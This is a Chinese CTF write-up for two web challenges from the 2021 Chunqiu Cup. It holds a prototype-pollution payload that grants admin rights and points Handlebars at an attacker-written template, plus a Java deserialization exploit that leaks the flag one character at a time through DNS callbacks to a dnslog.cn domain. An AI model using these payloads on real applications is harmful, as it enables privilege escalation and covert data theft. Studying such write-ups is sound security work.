春秋杯2021传说殿堂-WEB-WriteUp

感觉还行,拿了两个一血,当天比赛也比较多,属于是捡漏了

Rising of Atlantis

考了很多遍的hbs,有点像强网拟态那次的

目前我之前做的记录删了,懒得再做了,可能跟真实payload有点小出入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.post('/user/index', (req, res)=> {
function check(s) {
let deny = ['type', 'isAdmin', '__proto__']
for (let i=0; i<s.length;i++)
if ( deny.includes(s[i]) )
return false
return !deny.includes(s);
}
if ( check(req.body.key) && users[req.session.userid][req.body.key] ) {
users[req.session.userid][req.body.key] = req.body.value
return res.end('ok')
}
return res.end('sorry')
})
1
"[[__proto__]]"

直接可以绕,但是这里是污染users[req.session.userid],不过后面都是用的这个对象来判断,问题不大

1
2
3
4
5
6
7
8
9
10
11
12
13
14
app.post('/user/render', (req, res)=> {
if (!users[req.session.userid].isAdmin)
return res.status(403).end("403 Forbidden")
if (!req.body.code)
return res.end("need param code")
let deny = ['lookup', 'log', 'with', 'string', 'treasure', 'flag', 'if', 'level', '(', ')', '-', '@', '[']
let code = req.body.code
for (let i = 0; i<deny.length; i++) {
code = code.replaceAll(deny[i], 'oh no')
}
let file = path.join(__dirname, "views", crypto.createHash('md5').update(req.ip).digest('hex') + '.html')
fs.writeFileSync(file, code)
return res.end(file)
})

然后render可以写文件,做了点简单的过滤

后面就很简单了

1
{"key":"[[__proto__]]","value":{"isAdmin":true,"settings":{"views":".","view options":{"layout":"views/xxxx.html"}}}}

这个包含也出现了很多次了

模板内容

1
{{#each this}}{{#each this}}{{#each this}}{{this.toString}}{{/each}}{{/each}}{{/each}}

Easy_java

参考链接https://bishopfox.com/blog/gadgetprobe

之前没仔细读,里面有段话很重要

1
2
3
This sparked an idea! If I could add candidate Class objects to the HashMap, then I might be able to leverage this property of URL comparison to receive an indicator of deserialization success or failure. A consistent signal of success or failure would allow me to determine if a candidate class was present in the remote classpath. After some experimentation, I constructed a Boolean primitive using a LinkedHashMap (to preserve order), with a candidate Class object and a URL pointing to my authoritative DNS server.

It worked! If an exception was triggered while deserializing the Class in question, the URL comparison operation would never occur due to the exception thrown when trying to deserialize the candidate class. Or if it did deserialize successfully, then I would get a DNS callback

我之前没读之前也想过,通过urldns来观测结果,但是我不知道怎么去控制它去触发

这段话就相当于抄答案了,用LinkedHashMap来搞,直接贴exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package com.web.simplejava.model;

import org.springframework.http.HttpEntity;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestTemplate;

import java.lang.reflect.Field;
import java.net.URI;
import java.net.URL;
import java.util.HashMap;
import java.util.LinkedHashMap;

import com.bishopfox.gadgetprobe.GadgetProbe;


public class exp {
public static void doGETParam(Object obj) throws Exception{
URI url = new URI("http://eci-2zeiwgqxiu479nr669vm.cloudeci1.ichunqiu.com:8888/flag");

HttpEntity<byte[]> requestEntity = new HttpEntity<>(Serialize.serialize(obj));
RestTemplate restTemplate = new RestTemplate();
ResponseEntity<String> res = restTemplate.postForEntity(url, requestEntity, String.class);
System.out.println(res.getStatusCodeValue());
System.out.println(res.getBody());
}
public static void main(String[] args) throws Exception {
String ss="abcdefghijklmnopqrstuvwsyz1234567890-";

for (int i=0;i<ss.length();i++){
char dd=ss.charAt(i);
Flag a =new Flag("flag{caf543d8-1e6e-4f18-a02c-f34cf50250c6"+dd);
LinkedHashMap hm = new LinkedHashMap();


URL url = new URL("http://a"+dd+ ".a4mqpp.dnslog.cn");

Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);

f.set(url, 0xdeadbeef);

hm.put("sie",a);
hm.put(url, "sie");

f.set(url, -1);


exp.doGETParam(hm);

}






}
}

我因为没域名,我就配合dnslog手动跑了